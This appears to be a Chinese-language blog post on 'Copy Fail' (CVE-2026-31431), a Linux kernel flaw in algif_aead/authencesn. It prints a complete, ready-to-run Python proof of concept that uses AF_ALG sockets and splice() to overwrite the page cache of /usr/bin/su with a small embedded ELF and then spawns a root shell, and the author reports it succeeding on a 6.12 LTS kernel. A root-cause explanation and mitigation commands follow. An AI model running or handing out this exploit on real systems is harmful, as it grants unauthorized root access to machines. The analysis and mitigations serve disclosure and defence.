搜索文章

Copy Fail

有点变态

自 Copy Fail 爆出后又接连爆出多个 Linux 内核漏洞

4月29披露了一个CVE-2026-31431的漏洞

poc如下

python
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

实测在我的 6.12.74-1-lts版本下默认提权成功

成因

algif_aead.c 里 2017 年加入的 in-place AEAD 优化 把 RX scatterlist 当作可写 destination 使用,同时又通过 sg_chain() 把来自 splice() 路径的 tag pages 以引用方式链到了 RX SGL 后面;这些 page 可能是文件 page cache。随后 authencesn 解密路径把 req->src == req->dst 当作原地操作,并在 dst[assoclen + cryptlen] 位置做 scratch write,于是写穿到了被链入的文件 page-cache 页。

攻击流程

只读打开 /usr/bin/su
        ↓
splice 把 su 的 page cache 页引用进 pipe
        ↓
pipe 再 splice 到 AF_ALG AEAD socket
        ↓
algif_aead/authencesn 漏洞把可控 4 字节写进这些 page-cache 页
        ↓
循环 40 次,把 su 的 page cache 开头 patch 成 160 字节迷你 ELF
        ↓
执行 su,内核从污染后的 page cache 加载 ELF
        ↓
setuid root 上下文执行 /bin/sh

临时缓解

清空一下缓存或者重启能够恢复

echo 1 | sudo tee /proc/sys/vm/drop_caches

临时缓解

echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf
sudo rmmod algif_aead